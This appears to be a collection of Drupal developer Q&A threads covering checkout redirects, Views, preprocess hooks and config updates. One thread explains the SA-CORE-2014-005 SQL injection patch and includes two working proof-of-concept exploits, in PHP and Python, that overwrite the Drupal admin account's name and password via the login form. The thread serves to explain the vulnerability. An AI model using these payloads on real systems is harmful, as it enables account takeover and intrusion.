Is there a module that will have Enrollment/Subscription as a separate Entity/Content or Relation module will do it?

What is the best approach?

UPDATE 1:

This should allow to show all students subscribed to a course on a course page;
Show all current subscriptions with their details (fields) to student on my_courses page.

UPDATE 2: Can I use Open Group module for that?

It seems that this can be done with Entity Registration module.


How can I check to see if the current user has an an order in checkout? I need to create a condition like the following:

 if (current user has an order in checkout){
    go to the checkout page
 }else{
    go to this other page
 }

So far, I'm using:

 if ($order = commerce_cart_order_load($user->uid)) {
      drupal_goto('checkout/')
 }else{
      drupal_goto('someotherpage/')
 }

but it doesn't seem to work. What am i doing wrong? Thanks!

Preload $user variable.
Remove those / at the end of each url.
Add a semicolon at the end of each PHP line.

global $user;
if ($order = commerce_cart_order_load($user->uid)) {
  drupal_goto('checkout');
}
else {
  drupal_goto('someotherpage');
}


How do I loop over result rows and return calculated values? I cannot get proper results from View PHP field.

I've set up a Flipped Table view of entity form submission of which I'm trying to calculate "results" (sum and count(for avg)) with following code

$results = array(); // For results
$static = get_object_vars($row);
dsm($static);
foreach($static as $key => $value) {
    if(strpos($key,'field_') !== FALSE){
        if($value !== NULL){
            $results[$static['entityform_id']]['count']++; // Count no. of fields
            $results[$static['entityform_id']]['sum']= $results[$static['entityform_id']]['sum']+$value; // Count sum of field values
        }
    }
}
return json_encode($results[$static['entityform_id']]);

which results:

{"count":55,"sum":55}   {"count":55,"sum":110}  {"count":55,"sum":165}  {"count":55,"sum":220}

At this point I do not understand that why sum is always row index * sum? Eg.1 =55, 2=110, 3=165... All the submissions have the same fields and field values (clones) which explaines sums but I can't figure out that where this multiplication "logic" happens?

It seems like it is looping/counting all four result rows every time.

This is because $results[$static['entityform_id']]['sum'] already contains the sum result from previous loop result.
Thus it adds 55 for every row iteration.
Try adding the current array index to $results inside foreach loop.


Using hook_preprocess_views_view_unformatted properly I have the following hook in mymodule.module
function mymodule_preprocess_views_view_unformatted(&$variables) {
  $view = $variables['view'];
  $rows = $variables['rows'];

  if (in_array($view->id(),
      [
        'my_view',
      ]
    )
  )
    {
        foreach ($rows as $id => $row) {
          $custom_row_class = 'card-background-' . get_card_background();
          var_dump($custom_row_class);
          $variables['rows'][$id]['attributes']->addClass([$custom_row_class]);
        }

      var_dump($variables['rows'][0]['attributes']);
    }
}

The output is:
/Users/me/Sites/mysite/web/modules/custom/mymodule/mymodule.module:55:string 'card-background-11' (length=18)

/Users/me/Sites/mysite/web/modules/custom/mymodule/mymodule.module:58:
object(Drupal\Core\Template\Attribute)[7400]
  protected 'storage' =>
    array (size=1)
      'class' =>
        object(Drupal\Core\Template\AttributeArray)[7223]
          protected 'value' =>
            array (size=1)
              ...
          protected 'name' => string 'class' (length=5)

Right after supposedly adding the class to the rows attributes, it isn't there, and not surprisingly isn't in the attributes value passed to views-view-unformatted.html.twig.

I tested your code locally and the way you are adding the class did work for me. E.g.
function mymodule_preprocess_views_view_unformatted(&$variables) {
  $rows = $variables['rows'];

  foreach ($rows as $id => $row) {
    $variables['rows'][$id]['attributes']->addClass(['test-123', 'test-abc']);
  }
}

... worked fine for me. I'd say your var_dump() is not giving you the full picture.
Try this instead:
var_dump($variables['rows'][0]['attributes']->__toString());

When I var dump with toString() - I see the class indicated in the output - hopefully you will too
/var/www/mysite/docroot/modules/custom/my_module/my_module.module:149:string ' class="card test-123 test-abc"' (length=31)


How do I correctly inform the system about my module's new config? I'm working on a module that already comes with a config file in mymodule/config/install/mymodule.settings.yml, and I'm working on a new feature that requires its own set of configuration in mymodule/config/install/mymodule.newfeature.yml.

I assume I need to put the following code in an update hook.

function mymodule_update_8003() {
  \Drupal::service('config.installer')->installDefaultConfig('module', 'mymodule');
}

But if I do this, will sites that have overridden my existing configuration (from mymodule.settings.yml) get hosed, or is there another way to tell Drupal about my new configuration?

I think I found a strategy that is only slightly hackish to let Drupal know that your module has created a new config. This solution assumes that your new config is in a separate yml file in yourmodule/config/install but it should be adaptable to a situation where you are adding a new config to an existing file....

/**
 * Install new config.
 */
function your_module_update_8003() {
  // Get all current configs for Your Module.
  $existing_settings_config = \Drupal::configFactory()->getEditable('your_module.settings');
  $existing_foo_config = \Drupal::configFactory()->getEditable('your_module.foo');
  $existing_bar_config = \Drupal::configFactory()->getEditable('your_module.bar');

  // Install the new configuration
  // (a new file was added a your_module/config/install/your_module.baz.yml)
  \Drupal::service('config.installer')
    ->installDefaultConfig('module', 'your_module');

  // Reset the existing configs in case they were changed when installing the
  // new configuration.
  $existing_settings_config->save();
  $existing_foo_config->save();
  $existing_bar_config->save();
}

It's not ideal, but it seems to work.


What kind of attacks does the patch for SA-CORE-2014-005 (Drupal 7.32) prevent? Reading up on https://www.drupal.org/node/2357241 and the technical details at https://www.drupal.org/SA-CORE-2014-005, as well as the actual patch which is simply:

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

I'm wondering what kind of request could be made that utilizes this exploit?

Whats going on with 7.32 By checking the testing module. You can see the following test was added to 7.32;

+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+      '1' => '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+      $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      ->condition('name', 'test12345678')
+      ->countQuery()
+      ->execute()
+      ->fetchField();
+    $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+

This should give some further insight into how to craft an attack.

Proof of Concept
Since more than enough time has passed and there are plenty of PoC's out in the wild.

Poc #1 - PHP

<?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

Poc #2 Python - http://pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

Here is a blog that does a good breakdown: http://www.volexity.com/blog/?p=83


How to show taxonomy term image on node creation page drupal? I have added an image field to my taxonomy terms. I upload images to each term. I just wanted to show term images on node creation page. Currently it showing term name only and showing image after node creation.
I want to show term image on node creation page.

Any help would be appreciated.

Instead of term reference field try Entity reference field with Entity Reference view widget. This will help you to specify a view for field. Create an entity reference view that shows your additional image field. Select this view in your entity reference field settings.


How to theme Views Bulk Operation Pages In views bulk operations, you can select fields and then edit them by clicking on "Modify Entity Values".
When you do this, a screen appears asking you to select the entities you wish to modify and the values you wish to set. Is there a way of using a custom template to theme this screen?

Additional Info:
The top part of the screen lists provides check boxes for all the entities the user can edit. The user has to tick a check box to edit an entity. The bottom of the screen lists all the values that can be set.
I would like to use Jquery so the values on the bottom only appear when the corresponding check box at the top has been ticked. Is this possible?

if I understand you correctly, I think you should look at preprocessing the VBO form. You can then theme it as you would any other form.